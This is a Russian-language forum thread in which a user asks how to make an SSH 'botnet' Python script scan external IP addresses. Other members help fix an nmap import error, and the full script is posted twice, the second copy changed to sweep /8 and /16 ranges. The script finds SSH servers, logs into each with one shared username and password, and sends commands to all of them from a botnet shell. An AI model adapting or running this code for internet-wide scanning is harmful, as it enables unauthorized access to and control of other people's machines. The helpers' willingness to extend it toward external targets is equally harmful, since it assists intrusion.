Zer0must2b
Green Team
nm.scan(myip + '/24') из кода на питоне ssh ботнета
если myip заменить на 0.0.0.0 он будет сканировать внешние ип?
если myip заменить на 0.0.0.0 он будет сканировать внешние ип?
B правой части каждого сообщения есть стрелки ⇧ и ⇩. Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок ✔ в правой части сообщения.
Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе
Что?)из кода на питоне ssh ботнета
nm = nmap.PortScanner()
res = nm.scan("172.16.0-10.*", "22")
from netaddr import *
ip = IPNetwork('192.168.0.0/24')
string_with_ips = ""
# Добавляешь все IP в строку (уверен, что можно сделать красивее, кто знает, пусть покажет)
for _ in ip.ipv4():
string_with_ips += _ + " "
# Сканируешь диапазон
nm.scan(string_with_ips)
File "ssh_botnet.py", line 84, in <module>
nm = nmap.PortScanner()
AttributeError: 'module' object has no attribute 'PortScanner'
выдает ошибку эту даже если ничего не меняю
pip install python-nmap
Какие модули импортируются в начале файла?не помогло,попробую на другом устройстве
import nmap
nm = nmap.PortScanner()
from nmap import PortScanner
nm = PortScanner()
покажи выводfrom pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date
pip freeze | grep nmap
nmap==0.0.1
?pip uninstall nmap
Если тебе точно нужен нужен python версии 2, тогдаделаю в termux
python2 ssh_botnet.py
pip2 -V
pip 19.2.3 from /data/data/com.termux/files/usr/lib/python2.7/site-packages/pip (python 2.7)
$ python2 -V
Python 2.7.17
pip2 install python-nmap
Будь внимательнееpip2 install nmap
pip2 uninstall nmap
pip2 install python-nmap
Покажи кодкогда задаеш интерфейс логин и пароль выдает ощибку
хотел вот его переделать для внешнего сканирования![]()
SSH-botnet/ssh_botnet.py at master · G0uth4m/SSH-botnet
A python tool(automation) for automatically finding SSH servers on the network and adding them to the botnet for mass administration and control. - G0uth4m/SSH-botnetgithub.com
Установи оба nmap'aвобщем в коде неизвестная проблема?
from pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date
print("""
Author : Goutham Ramesh
GitHub : https://github.com/G0uth4m
- This is a simple tool handy for linux administrators
in schools, colleges, etc where all the systems used by students
in the lab or elsewhere have same usernames and passwords.
- Future releases will be having a choice to input different usernames
and passwords via a file.
- This code was tested on a bunch metasploitable 2 servers.
- Using this tool for illegal stuff is highly not recommended.
- 'sudo' is unsupported. You can use root as username for superuser access.
_ _ _ _
___ ___| |__ | |__ ___ | |_ _ __ ___| |_
/ __/ __| '_ \ | '_ \ / _ \| __| '_ \ / _ \ __|
\__ \__ \ | | | | |_) | (_) | |_| | | | __/ |_
|___/___/_| |_|___|_.__/ \___/ \__|_| |_|\___|\__|
|_____|
""")
f = open('logs.txt', 'a')
f2 = open('session.txt', 'w')
interface = raw_input('[*] Interface : ')
user_name = raw_input('[*] Single username for all systems : ')
password = raw_input('[*] Single password for all users : ')
myip = raw_input('[*] IP range (192.168.1.0/24) : ')
f2.write(interface + '\n' + user_name + '\n' + password + '\n')
#myip = os.popen("ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'").read().replace('\n', '')
# myip = os.popen("ifconfig " + interface + " | grep \"inet \" | awk \'{print $2}\'").read().replace("\n", "")
class Client:
def __init__(self, host, user, password, por):
self.host = host
self.user = user
self.password = password
self.por = por
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password, port = self.por)
return s
except Exception, e:
print e
print '[-] Error Connecting'
exit()
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
f.write(" -> " + str(date.today().strftime("%B %d, %Y")) + " ( " + datetime.now().strftime("%H:%M:%S") + ' ) ' + '\n\n')
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
#print '[*] ssh service running on port : ' + str(client.por)
print '[+] ' + output
f.write('[*] Output from ' + client.host + '\n')
f.write('[+] ' + output + '\n')
f.write(100*'-' + '\n')
def addClient(host, user, password, por):
if por != -1:
client = Client(host, user, password, por)
botNet.append(client)
else:
print '[-] ssh server not running on ' + host
botNet = []
nm = nmap.PortScanner()
#os.system("figlet ssh_botnet")
print("\n")
print "[*] Scanning network for ssh servers ..."
nm.scan(myip)
print "[+] Scan complete"
hosts = nm.all_hosts()
hosts.remove(myip)
if len(hosts) == 0:
print "[-] No ssh servers found on the network"
exit()
ssh_servers = []
for i in hosts:
openPorts = list(nm[i]['tcp'].keys())
for j in openPorts:
if nm[i]['tcp'][j]['name'] == 'ssh':
por = j
ssh_servers.append([i,j])
break
por = -1
addClient(i, user_name, password, por)
print "\nRunning ssh servers : "
for i in ssh_servers:
print "Host : " + i[0] + "\t\t" + "port : " + str(i[1])
f2.write(i[0] + ":" + str(i[1]) + '\n')
print '\n'
f2.close()
while True:
strr = colored('ssh@botnet:~$ ', 'red', None, ['bold'])
a = raw_input(strr)
if a == "exit()" or a == "exit":
f.close()
print("\n[*] History of commands stored in logs.txt")
break;
else:
botnetCommand(a)
from pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date
print("""
Author : Goutham Ramesh
GitHub : https://github.com/G0uth4m
- This is a simple tool handy for linux administrators
in schools, colleges, etc where all the systems used by students
in the lab or elsewhere have same usernames and passwords.
- Future releases will be having a choice to input different usernames
and passwords via a file.
- This code was tested on a bunch metasploitable 2 servers.
- Using this tool for illegal stuff is highly not recommended.
- 'sudo' is unsupported. You can use root as username for superuser access.
_ _ _ _
___ ___| |__ | |__ ___ | |_ _ __ ___| |_
/ __/ __| '_ \ | '_ \ / _ \| __| '_ \ / _ \ __|
\__ \__ \ | | | | |_) | (_) | |_| | | | __/ |_
|___/___/_| |_|___|_.__/ \___/ \__|_| |_|\___|\__|
|_____|
""")
f = open('logs.txt', 'a')
f2 = open('session.txt', 'w')
interface = raw_input('[*] Interface : ')
user_name = raw_input('[*] Single username for all systems : ')
password = raw_input('[*] Single password for all users : ')
myip = raw_input('[*] Start IP (192.168.1.0) : ')
myip_range = raw_input('[*] IP range (/8 /16 /24) : ')
f2.write(interface + '\n' + user_name + '\n' + password + '\n')
#myip = os.popen("ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'").read().replace('\n', '')
# myip = os.popen("ifconfig " + interface + " | grep \"inet \" | awk \'{print $2}\'").read().replace("\n", "")
class Client:
def __init__(self, host, user, password, por):
self.host = host
self.user = user
self.password = password
self.por = por
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password, port = self.por)
return s
except Exception, e:
print e
print '[-] Error Connecting'
exit()
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
f.write(" -> " + str(date.today().strftime("%B %d, %Y")) + " ( " + datetime.now().strftime("%H:%M:%S") + ' ) ' + '\n\n')
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
#print '[*] ssh service running on port : ' + str(client.por)
print '[+] ' + output
f.write('[*] Output from ' + client.host + '\n')
f.write('[+] ' + output + '\n')
f.write(100*'-' + '\n')
def addClient(host, user, password, por):
if por != -1:
client = Client(host, user, password, por)
botNet.append(client)
else:
print '[-] ssh server not running on ' + host
botNet = []
nm = nmap.PortScanner()
#os.system("figlet ssh_botnet")
print("\n")
print "[*] Scanning network for ssh servers ..."
nm.scan(myip + myip_range)
print "[+] Scan complete"
hosts = nm.all_hosts()
hosts.remove(myip)
if len(hosts) == 0:
print "[-] No ssh servers found on the network"
exit()
ssh_servers = []
for i in hosts:
openPorts = list(nm[i]['tcp'].keys())
for j in openPorts:
if nm[i]['tcp'][j]['name'] == 'ssh':
por = j
ssh_servers.append([i,j])
break
por = -1
addClient(i, user_name, password, por)
print "\nRunning ssh servers : "
for i in ssh_servers:
print "Host : " + i[0] + "\t\t" + "port : " + str(i[1])
f2.write(i[0] + ":" + str(i[1]) + '\n')
print '\n'
f2.close()
while True:
strr = colored('ssh@botnet:~$ ', 'red', None, ['bold'])
a = raw_input(strr)
if a == "exit()" or a == "exit":
f.close()
print("\n[*] History of commands stored in logs.txt")
break;
else:
botnetCommand(a)
Обучение наступательной кибербезопасности в игровой форме. Начать игру!